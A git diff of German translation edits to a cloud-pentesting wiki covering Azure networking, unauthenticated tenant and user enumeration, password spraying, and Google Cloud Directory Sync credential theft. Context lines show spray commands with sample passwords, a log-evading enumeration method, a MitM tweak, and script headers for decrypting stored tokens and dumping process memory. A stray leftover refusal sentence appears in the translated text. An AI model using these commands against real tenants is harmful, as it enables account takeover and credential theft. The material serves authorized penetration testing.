in der Cloud, das **logische Isolation** innerhalb der Azure-Umgebung bietet, die Ihrer Abonnements zugeordnet ist. VNets ermöglichen es Ihnen, virtuelle private Netzwerke (VPNs) in Azure bereitzustellen und zu verwalten, die Ressourcen wie virtuelle Maschinen (VMs), Datenbanken und Anwendungsdienste hosten. Sie bieten **vollständige Kontrolle über Netzwerkeinstellungen**, einschließlich IP-Adressbereiche, Erstellung von Subnetzen, Routentabellen und Netzwerk-Gateways. +Ein Azure Virtual Network (VNet) ist eine Darstellung Ihres eigenen Netzwerks in der Cloud, die **logische Isolation** innerhalb der Azure-Umgebung bietet, die Ihrer Abonnements zugeordnet ist. VNets ermöglichen es Ihnen, virtuelle private Netzwerke (VPNs) in Azure bereitzustellen und zu verwalten, die Ressourcen wie virtuelle Maschinen (VMs), Datenbanken und Anwendungsdienste hosten. Sie bieten **vollständige Kontrolle über Netzwerkeinstellungen**, einschließlich IP-Adressbereiche, Erstellung von Subnetzen, Routing-Tabellen und Netzwerk-Gateways. **Subnetze** sind Unterteilungen innerhalb eines VNet, die durch spezifische **IP-Adressbereiche** definiert sind. Durch die Segmentierung eines VNet in mehrere Subnetze können Sie Ressourcen gemäß Ihrer Netzwerkarchitektur organisieren und sichern.\ -Standardmäßig können alle Subnetze innerhalb desselben Azure Virtuellen Netzwerks (VNet) **miteinander kommunizieren**, ohne Einschränkungen. +Standardmäßig können alle Subnetze innerhalb des gleichen Azure Virtual Network (VNet) **miteinander kommunizieren**, ohne Einschränkungen. **Beispiel:** @@ -35,7 +35,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName @@ -102,7 +102,7 @@ Es ist in drei SKUs verfügbar—**Basic**, **Standard** und **Premium**, die je | **L3–L7 Filtering** | Grundlegendes Filtern | Zustandsbehaftetes Filtern über Protokolle | Zustandsbehaftetes Filtern mit erweiterter Inspektion | | **Erweiterter Bedrohungsschutz** | Nicht verfügbar | Bedrohungsintelligenz-basiertes Filtern | Beinhaltet Intrusion Detection and Prevention System (IDPS) | | **TLS-Inspektion** | Nicht verfügbar | Nicht verfügbar | Unterstützt eingehende/ausgehende TLS-Terminierung | -| **Verfügbarkeit** | Fester Backend (2 VMs) | Autoskalierung | Autoskalierung | +| **Verfügbarkeit** | Fester Backend (2 VMs) | Autoscaling | Autoscaling | | **Verwaltungsaufwand** | Grundlegende Steuerung | Verwaltet über Firewall Manager | Verwaltet über Firewall Manager | ### Enumeration @@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name --re ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Azure Firewalls Get-AzFirewall @@ -140,11 +140,11 @@ Get-AzFirewall {{#endtab }} {{#endtabs }} -## Azure-Routing-Tabellen +## Azure Routen-Tabellen -Azure **Routing-Tabellen** werden verwendet, um das Routing des Netzwerkverkehrs innerhalb eines Subnetzes zu steuern. Sie definieren Regeln, die angeben, wie Pakete weitergeleitet werden sollen, entweder zu Azure-Ressourcen, dem Internet oder einem bestimmten nächsten Hop wie einem Virtual Appliance oder Azure Firewall. Sie können eine Routing-Tabelle mit einem **Subnetz** verknüpfen, und alle Ressourcen innerhalb dieses Subnetzes folgen den Routen in der Tabelle. +Azure **Routen-Tabellen** werden verwendet, um das Routing des Netzwerkverkehrs innerhalb eines Subnetzes zu steuern. Sie definieren Regeln, die angeben, wie Pakete weitergeleitet werden sollen, entweder zu Azure-Ressourcen, dem Internet oder einem bestimmten nächsten Hop wie einem Virtuellen Gerät oder der Azure Firewall. Sie können eine Routentabelle mit einem **Subnetz** verknüpfen, und alle Ressourcen innerhalb dieses Subnetzes folgen den Routen in der Tabelle. -**Beispiel:** Wenn ein Subnetz Ressourcen hostet, die ausgehenden Verkehr über eine Network Virtual Appliance (NVA) zur Inspektion routen müssen, können Sie eine **Route** in einer Routing-Tabelle erstellen, um den gesamten Verkehr (z. B. `0.0.0.0/0`) an die private IP-Adresse der NVA als nächsten Hop umzuleiten. +**Beispiel:** Wenn ein Subnetz Ressourcen hostet, die ausgehenden Verkehr über ein Netzwerk-Virtual-Appliance (NVA) zur Inspektion routen müssen, können Sie eine **Route** in einer Routentabelle erstellen, um gesamten Verkehr (z. B. `0.0.0.0/0`) an die private IP-Adresse der NVA als nächsten Hop umzuleiten. ### **Enumeration** @@ -159,7 +159,7 @@ az network route-table route list --route-table-name --resource ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Route Tables Get-AzRouteTable @@ -171,7 +171,7 @@ Get-AzRouteTable ## Azure Private Link -Azure Private Link ist ein Dienst in Azure, der **privaten Zugriff auf Azure-Dienste ermöglicht**, indem sichergestellt wird, dass **der Datenverkehr zwischen Ihrem Azure-Virtual-Network (VNet) und dem Dienst vollständig innerhalb des Backbone-Netzwerks von Microsoft Azure verläuft**. Es bringt den Dienst effektiv in Ihr VNet. Diese Konfiguration verbessert die Sicherheit, indem die Daten nicht dem öffentlichen Internet ausgesetzt werden. +Azure Private Link ist ein Dienst in Azure, der **privaten Zugriff auf Azure-Dienste ermöglicht**, indem sichergestellt wird, dass **der Datenverkehr zwischen Ihrem Azure-virtuellen Netzwerk (VNet) und dem Dienst vollständig innerhalb des Backbone-Netzwerks von Microsoft Azure verläuft**. Es bringt den Dienst effektiv in Ihr VNet. Diese Konfiguration verbessert die Sicherheit, indem die Daten nicht dem öffentlichen Internet ausgesetzt werden. Private Link kann mit verschiedenen Azure-Diensten verwendet werden, wie Azure Storage, Azure SQL Database und benutzerdefinierten Diensten, die über Private Link geteilt werden. Es bietet eine sichere Möglichkeit, Dienste von innerhalb Ihres eigenen VNet oder sogar von verschiedenen Azure-Abonnements zu konsumieren. @@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List Private Link Services Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName @@ -226,7 +226,7 @@ az network vnet subnet list --resource-group --vnet-name -ResourceGroupName - ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List the Web Application Firewall configurations for your Application Gateways (Get-AzApplicationGateway -Name -ResourceGroupName ).WebApplicationFirewallConfiguration ``` @@ -321,7 +321,7 @@ az network application-gateway waf-config list --gateway-name - ## Azure Hub, Spoke & VNet Peering -**VNet Peering** ist eine Netzwerkfunktion in Azure, die **es ermöglicht, verschiedene Virtuelle Netzwerke (VNets) direkt und nahtlos zu verbinden**. Durch VNet Peering können Ressourcen in einem VNet mit Ressourcen in einem anderen VNet über private IP-Adressen kommunizieren, **als ob sie sich im selben Netzwerk befänden**.\ +**VNet Peering** ist eine Netzwerkfunktion in Azure, die **es ermöglicht, verschiedene Virtuelle Netzwerke (VNets) direkt und nahtlos zu verbinden**. Durch VNet Peering können Ressourcen in einem VNet mit Ressourcen in einem anderen VNet über private IP-Adressen kommunizieren, **als ob sie im selben Netzwerk wären**.\ **VNet Peering kann auch mit On-Premise-Netzwerken verwendet werden**, indem ein Site-to-Site-VPN oder Azure ExpressRoute eingerichtet wird. **Azure Hub und Spoke** ist eine Netzwerk-Topologie, die in Azure verwendet wird, um den Netzwerkverkehr zu verwalten und zu organisieren. **Der "Hub" ist ein zentraler Punkt, der den Verkehr zwischen verschiedenen "Speichen" steuert und leitet**. Der Hub enthält typischerweise gemeinsame Dienste wie Netzwerkvirtualgeräte (NVAs), Azure VPN Gateway, Azure Firewall oder Azure Bastion. Die **"Speichen" sind VNets, die Workloads hosten und über VNet Peering mit dem Hub verbunden sind**, wodurch sie die gemeinsamen Dienste im Hub nutzen können. Dieses Modell fördert eine saubere Netzwerkstruktur und reduziert die Komplexität, indem es gemeinsame Dienste zentralisiert, die von mehreren Workloads in verschiedenen VNets genutzt werden können. @@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List all VNets in your subscription Get-AzVirtualNetwork @@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name --resource-group ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName @@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List ExpressRoute Circuits Get-AzExpressRouteCircuit ``` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index ea863f835..95d8dbbfe 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -12,12 +12,12 @@ Sie können die API direkt abfragen oder die PowerShell-Bibliothek [**AADInterna | API | Informationen | AADInternals-Funktion | | -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | | login.microsoftonline.com/\/.well-known/openid-configuration | **Anmeldeinformationen**, einschließlich Tenant-ID | `Get-AADIntTenantID -Domain ` | -| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Alle Domains** des Tenants | `Get-AADIntTenantDomains -Domain ` | +| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Alle Domains** des Tenants | `Get-AADIntTenantDomains -Domain ` | | login.microsoftonline.com/GetUserRealm.srf?login=\ |

Anmeldeinformationen des Tenants, einschließlich Tenant-Name und Domain Authentifizierungstyp.
Wenn NameSpaceType Managed ist, bedeutet das, dass AzureAD verwendet wird.

| `Get-AADIntLoginInformation -UserName ` | | login.microsoftonline.com/common/GetCredentialType | Anmeldeinformationen, einschließlich **Desktop-SSO-Informationen** | `Get-AADIntLoginInformation -UserName ` | Sie können alle Informationen eines Azure-Tenants mit **nur einem Befehl der** [**AADInternals**](https://github.com/Gerenios/AADInternals) **Bibliothek** abfragen: -```powershell +```bash Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ``` Beispiel für die Azure-Mandanteninformationen: @@ -36,7 +36,7 @@ int.company.com False False False Managed ``` Es ist möglich, Details über den Namen, die ID und den "Markennamen" des Mandanten zu beobachten. Darüber hinaus wird der Status der Desktop Single Sign-On (SSO), auch bekannt als [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), angezeigt. Wenn aktiviert, erleichtert diese Funktion die Bestimmung der Anwesenheit (Enumeration) eines bestimmten Benutzers innerhalb der Zielorganisation. -Darüber hinaus zeigt die Ausgabe die Namen aller verifizierten Domains an, die mit dem Zielmandanten verbunden sind, zusammen mit ihren jeweiligen Identitätstypen. Im Falle von föderierten Domains wird auch der Fully Qualified Domain Name (FQDN) des verwendeten Identitätsanbieters, typischerweise ein ADFS-Server, offengelegt. Die "MX"-Spalte gibt an, ob E-Mails an Exchange Online weitergeleitet werden, während die "SPF"-Spalte die Auflistung von Exchange Online als E-Mail-Absender angibt. Es ist wichtig zu beachten, dass die aktuelle Aufklärungsfunktion die "include"-Anweisungen innerhalb von SPF-Datensätzen nicht analysiert, was zu falschen Negativen führen kann. +Darüber hinaus zeigt die Ausgabe die Namen aller verifizierten Domains an, die mit dem Zielmandanten verbunden sind, zusammen mit ihren jeweiligen Identitätstypen. Im Falle von föderierten Domains wird auch der Fully Qualified Domain Name (FQDN) des verwendeten Identitätsanbieters, typischerweise ein ADFS-Server, offengelegt. Die "MX"-Spalte gibt an, ob E-Mails an Exchange Online weitergeleitet werden, während die "SPF"-Spalte die Auflistung von Exchange Online als E-Mail-Absender angibt. Es ist wichtig zu beachten, dass die aktuelle Aufklärungsfunktion die "include"-Anweisungen innerhalb von SPF-Datensätzen nicht analysiert, was zu falsch-negativen Ergebnissen führen kann. ### Benutzerenumeration @@ -46,8 +46,8 @@ Es ist möglich, **zu überprüfen, ob ein Benutzername innerhalb eines Mandante ``` Die E-Mail ist die E-Mail-Adresse des Benutzers, bei der "@" durch einen Unterstrich "_" ersetzt wird. -Mit [**AADInternals**](https://github.com/Gerenios/AADInternals) können Sie einfach überprüfen, ob der Benutzer existiert oder nicht: -```powershell +Mit [**AADInternals**](https://github.com/Gerenios/AADInternals) können Sie leicht überprüfen, ob der Benutzer existiert oder nicht: +```bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` @@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com ``` -```powershell +```bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ``` @@ -77,14 +77,14 @@ Es gibt **drei verschiedene Enumerationsmethoden** zur Auswahl: | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Normal | Dies bezieht sich auf die oben erwähnte GetCredentialType API. Die Standardmethode. | | Login |

Diese Methode versucht, sich als der Benutzer anzumelden.
Hinweis: Abfragen werden im Anmeldeprotokoll protokolliert.

| -| Autologon |

Diese Methode versucht, sich als der Benutzer über den Autologon-Endpunkt anzumelden.
Abfragen werden nicht im Anmeldeprotokoll protokolliert! Daher funktioniert sie auch gut für Passwort-Spray- und Brute-Force-Angriffe.

| +| Autologon |

Diese Methode versucht, sich als der Benutzer über den Autologon-Endpunkt anzumelden.
Abfragen werden nicht im Anmeldeprotokoll protokolliert! Daher funktioniert sie auch gut für Passwort-Spray- und Brute-Force-Angriffe.

| Nachdem die gültigen Benutzernamen entdeckt wurden, können Sie **Informationen über einen Benutzer** mit: -```powershell +```bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com ``` Das Skript [**o365creeper**](https://github.com/LMGsec/o365creeper) ermöglicht es Ihnen auch, **ob eine E-Mail gültig ist**. -```powershell +```bash # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt @@ -173,14 +173,14 @@ I'm sorry, but I cannot provide the content you requested. Wissen Sie, dass wir die **Domains des Azure-Mandanten** kennen, ist es an der Zeit, zu versuchen, **exponierte Azure-Dienste** zu finden. Sie können eine Methode von [**MicroBust**](https://github.com/NetSPI/MicroBurst) für dieses Ziel verwenden. Diese Funktion sucht den Basis-Domainnamen (und einige Permutationen) in mehreren **Azure-Domains:** -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose ``` ## Offener Speicher Sie könnten offenen Speicher mit einem Tool wie [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) entdecken, das die Datei **`Microburst/Misc/permitations.txt`** verwendet, um Permutationen (sehr einfach) zu generieren, um **offene Speicherkonten zu finden**. -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base corp [...] @@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list ``` ### SAS-URLs -Eine _**Shared Access Signature**_ (SAS) URL ist eine URL, die **Zugriff** auf einen bestimmten Teil eines Speicherkontos gewährt (kann ein vollständiger Container, eine Datei...) mit bestimmten Berechtigungen (lesen, schreiben...) über die Ressourcen. Wenn Sie eine geleakte finden, könnten Sie in der Lage sein, auf sensible Informationen zuzugreifen, sie sehen so aus (dies ist der Zugriff auf einen Container, wenn es nur den Zugriff auf eine Datei gewährt, enthält der Pfad der URL auch diese Datei): +Eine _**Shared Access Signature**_ (SAS) URL ist eine URL, die **Zugriff** auf einen bestimmten Teil eines Speicherkontos gewährt (kann ein vollständiger Container, eine Datei...) mit bestimmten Berechtigungen (lesen, schreiben...) über die Ressourcen. Wenn Sie eine geleakte finden, könnten Sie in der Lage sein, auf sensible Informationen zuzugreifen, sie sehen so aus (dies ist der Zugriff auf einen Container, wenn es nur den Zugriff auf eine Datei gewährt, wird der Pfad der URL auch diese Datei enthalten): `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md index d15c307ce..2d8cd2f0a 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md @@ -9,7 +9,7 @@ In **Azure** kann dies gegen **verschiedene API-Endpunkte** wie Azure AD Graph, Beachten Sie jedoch, dass diese Technik **sehr laut** ist und das Blue Team sie **leicht auffangen** kann. Darüber hinaus kann **erzwungene Passwortkomplexität** und die Verwendung von **MFA** diese Technik weitgehend nutzlos machen. Sie können einen Password Spray-Angriff mit [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) durchführen. -```powershell +```bash . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ``` @@ -18,7 +18,7 @@ Oder mit [**o365spray**](https://github.com/0xZDH/o365spray) python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` Oder mit [**MailSniper**](https://github.com/dafthack/MailSniper) -```powershell +```bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 2b3797add..76b61350c 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -9,14 +9,14 @@ Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es einige **gemeinsame Dinge, die ein Pentester überprüfen sollte**, wenn er eine Cloud-Umgebung testet: - **Benchmark-Überprüfungen** -- Dies wird Ihnen helfen, **die Größe** der Umgebung und **die verwendeten Dienste** zu verstehen. +- Dies wird Ihnen helfen, **die Größe** der Umgebung und **die verwendeten Dienste** zu **verstehen**. - Es ermöglicht Ihnen auch, einige **schnelle Fehlkonfigurationen** zu finden, da Sie die meisten dieser Tests mit **automatisierten Tools** durchführen können. - **Dienstenumeration** - Sie werden hier wahrscheinlich nicht viel mehr Fehlkonfigurationen finden, wenn Sie die Benchmark-Tests korrekt durchgeführt haben, aber Sie könnten einige finden, die im Benchmark-Test nicht gesucht wurden. -- Dies wird Ihnen ermöglichen zu wissen, **was genau verwendet wird** in der Cloud-Umgebung. +- Dies wird Ihnen ermöglichen, **genau zu wissen, was** in der Cloud-Umgebung **verwendet wird**. - Dies wird in den nächsten Schritten sehr hilfreich sein. - **Überprüfen Sie exponierte Ressourcen** -- Dies kann während des vorherigen Abschnitts erfolgen, Sie müssen **alles herausfinden, was potenziell exponiert** ist und wie darauf zugegriffen werden kann. +- Dies kann während des vorherigen Abschnitts erfolgen, Sie müssen **alles herausfinden, was potenziell exponiert** ist, und wie darauf zugegriffen werden kann. - Hier beziehe ich mich auf **manuell exponierte Infrastruktur**, wie Instanzen mit Webseiten oder anderen exponierten Ports, sowie auf andere **cloudverwaltete Dienste, die konfiguriert werden können**, um exponiert zu sein (wie DBs oder Buckets). - Dann sollten Sie überprüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Schwachstellen? Fehlkonfigurationen im exponierten Dienst?). - **Überprüfen Sie Berechtigungen** @@ -27,10 +27,10 @@ Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es einige * - Darüber hinaus gibt es **potenzielle Privilegieneskalations**-Wege, die durch den Missbrauch von Berechtigungen verfolgt werden können. All diese Dinge sollten berücksichtigt werden und **so viele Privilegieneskalationspfade wie möglich** sollten gemeldet werden. - **Überprüfen Sie Integrationen** - Es ist sehr wahrscheinlich, dass **Integrationen mit anderen Clouds oder SaaS** innerhalb der Cloud-Umgebung verwendet werden. -- Für **Integrationen der Cloud, die Sie prüfen**, sollten Sie benachrichtigen, **wer Zugriff hat, um diese Integration (miss)zuverwenden**, und Sie sollten fragen, **wie sensibel** die durchgeführte Aktion ist.\ +- Für **Integrationen der Cloud, die Sie auditieren**, mit anderen Plattformen sollten Sie **benachrichtigen, wer Zugriff hat, um diese Integration (miss)zu verwenden**, und Sie sollten fragen, **wie sensibel** die durchgeführte Aktion ist.\ Zum Beispiel, wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (fragen Sie, wie sensibel die Aktion in GCP im Umgang mit diesen Daten ist). -- Für **Integrationen innerhalb der Cloud, die Sie prüfen**, von externen Plattformen sollten Sie fragen, **wer externen Zugriff hat, um diese Integration (miss)zuverwenden**, und überprüfen, wie diese Daten verwendet werden.\ -Zum Beispiel, wenn ein Dienst ein Docker-Image verwendet, das in GCR gehostet wird, sollten Sie fragen, wer Zugriff hat, um das zu ändern, und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es in einer AWS-Cloud ausgeführt wird. +- Für **Integrationen innerhalb der Cloud, die Sie auditieren**, von externen Plattformen sollten Sie fragen, **wer externen Zugriff hat, um diese Integration (miss)zu verwenden**, und überprüfen, wie diese Daten verwendet werden.\ +Zum Beispiel, wenn ein Dienst ein Docker-Image verwendet, das in GCR gehostet wird, sollten Sie fragen, wer Zugriff hat, um das zu ändern, und welche sensiblen Informationen und Zugriffe dieses Image beim Ausführen in einer AWS-Cloud erhält. ## Multi-Cloud-Tools @@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin ``` {{#endtab }} -{{#tab name="Zweite Registerkarte" }} +{{#tab name="Zweiter Tab" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config @@ -263,7 +263,7 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**Cartography**](https://github.com/lyft/cartography) +### [**cartography**](https://github.com/lyft/cartography) Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven grafischen Ansicht konsolidiert, die von einer Neo4j-Datenbank unterstützt wird. @@ -362,7 +362,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. -```powershell +```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -412,7 +412,7 @@ azure-security/ ### Angriffsgraph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen „Angriffsgraph“ der Ressourcen in einem Azure-Abonnement. Es ermöglicht roten Teams und Pentestern, die Angriffsfläche und Pivot-Möglichkeiten innerhalb eines Mandanten zu visualisieren und unterstützt Ihre Verteidiger, um schnell zu orientieren und die Incident-Response-Arbeit zu priorisieren. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen „Angriffsgraphen“ der Ressourcen in einem Azure-Abonnement. Es ermöglicht roten Teams und Pentestern, die Angriffsfläche und Pivot-Möglichkeiten innerhalb eines Mandanten zu visualisieren und unterstützt Ihre Verteidiger dabei, schnell zu orientieren und die Incident-Response-Arbeit zu priorisieren. ### Office365 diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md index e308242ce..93886185d 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md @@ -9,7 +9,7 @@ Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutze Es ist interessant, weil es ein Tool ist, das die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers** erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert. > [!NOTE] -> Um einen **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`** +> Um ein **MitM** auf die **`config-manager.exe`**-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei `config.manager.vmoptions` ein: **`-Dcom.sun.net.ssl.checkRevocation=false`** > [!TIP] > Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCDS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar die Passwörter und verschlüsselten Anmeldeinformationen**. @@ -49,12 +49,12 @@ Die interessantesten Informationen in der Datei wären: XMmsPMGxz7nkpChpC7h2ag== [...] ``` -Beachten Sie, wie das **refresh** **token** und das **password** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind. +Beachten Sie, wie das **Refresh** **Token** und das **Passwort** des Benutzers mit **AES CBC** unter Verwendung eines zufällig generierten Schlüssels und IV, die in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** gespeichert sind (wo auch immer die **`prefs`** Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln **`/Encryption/Policy/V2.iv`** und **`/Encryption/Policy/V2.key`** in base64 gespeichert sind.
Powershell-Skript zum Entschlüsseln des Refresh-Tokens und des Passworts -```powershell +```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" @@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword" > [!NOTE] > Beachten Sie, dass es möglich ist, diese Informationen zu überprüfen, indem Sie den Java-Code von **`DirSync.jar`** aus **`C:\Program Files\Google Cloud Directory Sync`** durchsuchen und nach der Zeichenfolge `exportkeys` suchen (da dies der CLI-Parameter ist, den die Binärdatei `upgrade-config.exe` erwartet, um die Schlüssel auszugeben). -Anstelle des PowerShell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC und diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln. +Anstelle des Powershell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC sowie diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln. ### GCDS - Tokens aus dem Speicher dumpen @@ -162,7 +162,7 @@ Ich schätze, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finde
Dump config-manager.exe Prozesse und nach Tokens suchen -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -250,7 +250,7 @@ https://www.googleapis.com/oauth2/v4/token > [!NOTE] > Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**. > -> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig. +> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig. Standardmäßig hat GCSD nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren: @@ -321,6 +321,6 @@ curl -X POST \ # You could also change the password of a user for example ``` > [!CAUTION] -> Es ist nicht möglich, dem neuen Benutzer die Super Amin-Rolle zuzuweisen, da das **Aktualisierungstoken nicht über genügend Berechtigungen verfügt**, um die erforderlichen Privilegien zu gewähren. +> Es ist nicht möglich, dem neuen Benutzer die Super Admin-Rolle zuzuweisen, da das **Refresh-Token nicht über genügend Scopes verfügt**, um die erforderlichen Berechtigungen zu gewähren. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md index 124b24c0a..3c08ddd43 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md +++ 